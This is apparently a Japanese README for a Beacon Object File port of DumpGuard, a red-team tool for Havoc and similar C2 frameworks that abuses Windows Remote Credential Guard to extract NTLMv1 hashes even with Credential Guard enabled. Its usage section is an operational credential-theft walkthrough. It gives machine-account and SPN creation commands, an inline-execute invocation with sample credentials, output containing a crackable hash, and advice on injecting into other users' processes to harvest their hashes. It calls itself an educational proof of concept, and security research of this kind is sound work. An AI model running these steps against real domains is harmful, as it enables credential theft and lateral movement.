
DumpGuardのBeacon Object File (BOF)移植版。最新のWindowsシステム上のセッションからNTLMv1ハッシュを抽出します。
DumpGuard の Beacon Object File (BOF) ポート。最新の Windows システム上のセッションから NTLMv1 ハッシュを抽出します。

このリポジトリには、DumpGuard の Beacon Object File (BOF) 実装が含まれています。元の C#/.NET 実装から純粋な C に移植され、Havoc および BOF 実行をサポートする他の C2 フレームワークで使用できます。
これは Proof of Concept (PoC) であり、学習用の演習です。
この BOF ポートは、Remote Credential Guard プロトコル、Kerberos 認証フロー、および基盤となる Windows セキュリティメカニズムの詳細を理解するための個人的な取り組みの一環として作成されました。このツールを BOF 実行用に C# から純粋な C へ移植する作業は、主に教育目的の試みでした。
以下の点にご注意ください:
問題を見つけた場合や改善提案がある場合は、コントリビューションを歓迎します。堅牢で十分にテストされた実装については、オリジナルの DumpGuard ツール を参照してください。
この BOF は、SpecterOps の @bytewreck による研究とツールに基づいています:
DumpGuard は、Windows Remote Credential Guard (RCG) を悪用して、ログオン中のユーザーから NTLMv1 ハッシュを LSASS メモリに触れることなく、管理者権限を必要とせずに抽出します。Credential Guard が有効な場合でも動作します。
TSRemoteGuardCreds にラップされたユーザーの資格情報を受信します。ラウンド 4 の後、暗号化された資格情報ブロブを取得します。魔法が起こるのは、TSSSP パッケージを指定して LsaCallAuthenticationPackage を呼び出したときです。LSA はリクエストを RDPEAR -> TSRemoteGuard -> MSV1_0 経由でルーティングし、シークレットを復号化して NTLMv1 レスポンスを計算してくれます。
Credential Guard は、NTLM および Kerberos のシークレットをセキュアな VBS 空間 (LsaIso.exe) に隔離し、Mimikatz のような直接メモリアクセス攻撃を防ぎます。しかし、Credential Guard は正当な認証のためにそれらのシークレットを使用する必要が依然としてあります。このテクニックが悪用するのは、まさにそのインターフェースです。
完全な技術的な詳細については、Catching Credential Guard Off Guard を参照してください。
この BOF ポートは、オリジナルの DumpGuard ツールの「Self」モードのみを実装しています。「All」モードはこのバージョンでは実装されていません。
Remote Credential Guard プロトコルを介して、現在のプロセスユーザー の NTLMv1 ハッシュをダンプします。
この BOF は「self」モードのみを実装していますが、たとえば、そのユーザーとして実行されているプロセスに注入することで、他のユーザーの NTLMv1 ハッシュを抽出することもできます。たとえば、管理者権限を持っている場合、別のログオンユーザーが所有するプロセスに BOF を注入して、そのハッシュを取得できます。
このテクニックには、Service Principal Name (SPN) が登録されたアカウントの資格情報が必要です。これを実現する 1 つの方法は、マシンアカウントを作成し、それに SPN を追加することです。
Impacket を使用:
python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>
出力例:
[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.
krbrelayx の addspn.py を使用:
python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>
pywerview を使用:
python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$
出力内で serviceprincipalname: host/yourspn.domain.local を探してください。
inline-execute /path/to/dumpguard.x64.o x <domain> <username> <password> <spn>
注:
xパラメータは、ドメインの前に必要なプレースホルダー/ダミー引数です。これは将来のバージョン (存在する場合) で対処される可能性があります。
例:
inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local
出力例:
[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788
重要: 抽出された NTLMv1 ハッシュは、BOF プロセスを実行しているユーザー に属するものであり、認証に使用されたマシンアカウント (
EVIL_COMPUTER$) に属するものではありません。マシンアカウントの資格情報は、KDC への認証と Remote Credential Guard セッションの確立にのみ使用されます。
出力は hashcat 互換の NTLMv1 形式です:
DOMAIN\user::HOSTNAME::NTRESPONSE:CHALLENGE
make clean && make
出力: build/dumpguard.x64.o
BSD 3-Clause ライセンス
オリジナルの DumpGuard ツールは BSD 3-Clause ライセンスの下でライセンスされており、Copyright (c) 2025 Valdemar Carøe です。この BOF ポートも同じライセンス条件を維持しています。
質問、バグ報告、またはコントリビューションについては、GitHub で issue を開いてください。
| ラウンド | クライアント -> サーバー | サーバー -> クライアント |
|---|
| 1 | SPNEGO + TGT-REQ | TGT-REPLY (実際の KDC から) |
| 2 | AP-REQ (サービスチケット) | AP-REP + MIC |
| 3 | PubKeyAuth (バインディングハッシュ) | サーバーバインディングハッシュ |
| 4 | AuthInfo (TSRemoteGuardCreds) | N/A |